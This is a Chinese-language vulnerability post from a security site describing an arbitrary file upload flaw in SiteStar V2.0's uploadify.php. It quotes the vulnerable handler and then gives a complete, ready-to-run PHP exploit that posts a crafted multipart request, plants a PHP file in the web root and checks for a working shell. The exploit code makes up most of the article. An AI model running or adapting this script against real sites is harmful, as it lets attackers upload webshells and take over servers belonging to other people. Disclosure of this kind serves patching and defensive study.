首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
建站之星SiteStar V2.0 上传漏洞
来源:vfocus.net 作者:cnryan 发布时间:2011-03-14  

SiteStar V2.0没有正确限制文件的上传,远程攻击者可能利用此漏洞上传任意文件到Web目录,最终导致在服务器上执行任意命令。


漏洞产生在 /script/multiupload/uploadify.php文件:
<?php
if (!empty($_FILES)) {
 $tempFile = $_FILES['Filedata']['tmp_name'];
 $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_POST['folder'] . '/';
 $targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
   // 解决Windows中文文件名乱码
 if (preg_match("/^WIN/i", PHP_OS)) {
  $targetFile = iconv('UTF-8', 'GBK', $targetFile);
 }
 move_uploaded_file($tempFile, $targetFile);
 echo "1";
}
?>

没什么好说的,低级失误。通过构造html表单可直接上传webshell至web目录,下面提供一段测试代码。EXP:

<?
print_r('
+---------------------------------------------------------------------------+
SiteStar V2.0 Remote Shell Upload Exploit 
+---------------------------------------------------------------------------+
');
if ($argc < 3)

    print "\nUsage: php $argv[0] host path\n"; 
    print "Example: php $argv[0] localhost /sitestar/\n";   
    die(); 
}
error_reporting(0); 
set_time_limit(0); 
$host = $argv[1];
$path = $argv[2];
$shell = 'http://'.$host.$path.'cnryan.php';
    $payload  = "-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"cnryan.php\"\r\n";
    $payload .= "Content-Type: application/octet-stream\r\n\r\n";
    $payload .= "<?php phpinfo();?>W.S.T\r\n-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"upload\"\r\n\r\n\r\n";
    $payload .= "-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n";
    $payload .= "$path\r\n";
    $payload .= "-----cnryan--";      
    $packet  = "POST {$path}/script/multiupload/uploadify.php HTTP/1.0\r\n"; 
    $packet .= "Host: {$host}\r\n";  
    $packet .= "Connection: keep-alive\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=---cnryan\r\n"; 
    $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n"; 
    $packet .= $payload; 
$fp = fsockopen($host, 80);
    fputs($fp, $packet);

   sleep(5);
   $str=file_get_contents($shell);
if(strpos($str,'W.S.T')) 
    exit("OK! Got shell:\t$shell\n");
else
    exit("Exploit Failed!\n");
?>


 

by cnryan


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·boblog任意变量覆盖漏洞(二)
·5U CMS v1.2.2024 SQL注入漏洞
·DISCUZ X1.5 本地文件包含漏洞
·Discuz!后台拿Webshell 0day
·DodeCMS成创网站内容管理系统 上
·FeiXun企业网站管理系统 v2011
·IIS7.0畸形解析漏洞通杀0day
·快客电邮(QuarkMail)远程命令执
·DedeCms v5.6 嵌入恶意代码执行
·freetextbox编辑器0day
·防注入程序拿shell
·Symantec LiveUpdate Administra
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved